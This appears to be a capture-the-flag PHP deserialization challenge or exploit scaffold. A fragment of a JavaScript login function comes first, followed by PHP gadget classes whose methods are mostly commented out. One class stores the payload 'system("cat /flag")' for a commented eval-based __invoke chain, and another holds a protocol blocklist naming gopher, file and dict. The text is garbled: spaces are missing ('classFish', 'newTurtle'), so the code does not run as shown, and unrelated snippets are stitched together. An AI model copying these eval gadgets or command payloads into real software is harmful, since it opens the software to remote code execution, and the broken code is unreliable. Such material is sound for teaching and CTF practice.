<script type='text/javascript'> functiondoLogin() { var username = $("#username").val(); var password = $("#password").val(); if (username == "" || password == "") { alert("Please enter the username and password!"); return; }
<?php classFish{ public$food; // public function __construct(){ // $this->food = array(); // } // public function __get($value){ // $function = $this->food; // return $function(); // } }
classBubble{ public$bubble; protected$hack='system("cat /flag");'; // public function __toString(){ // return $this->bubble; // } // public function run($value){ // @eval($value); // } // public function __invoke(){ // $this->run($this->hack); // } }
classTurtle{ public$head; public$tail; // public function __construct($tail="tail"){ // $this->tail = $tail; // echo $tail; // } // public function __toString(){ // return $this->tail->head; // } }
classStone{ public$rock; public$ash; // public function __construct($nice="wow"){ // $this->rock = $nice; // echo "My rock --- ".$this->rock."<br>"; // } // public function __destruct(){ // if(preg_match("/fish|bubble|gopher|http|file|ftp|https|dict|\.\./i", $this->rock)) { // echo "no~no~no~"; // } // } // function __wakeup(){ // if ($this->rock != 'ash') { // $this->rock = 'ash'; // } // } } $x=newTurtle(); $xx=newFish(); $xxx=newBubble(); $xxxx=newStone();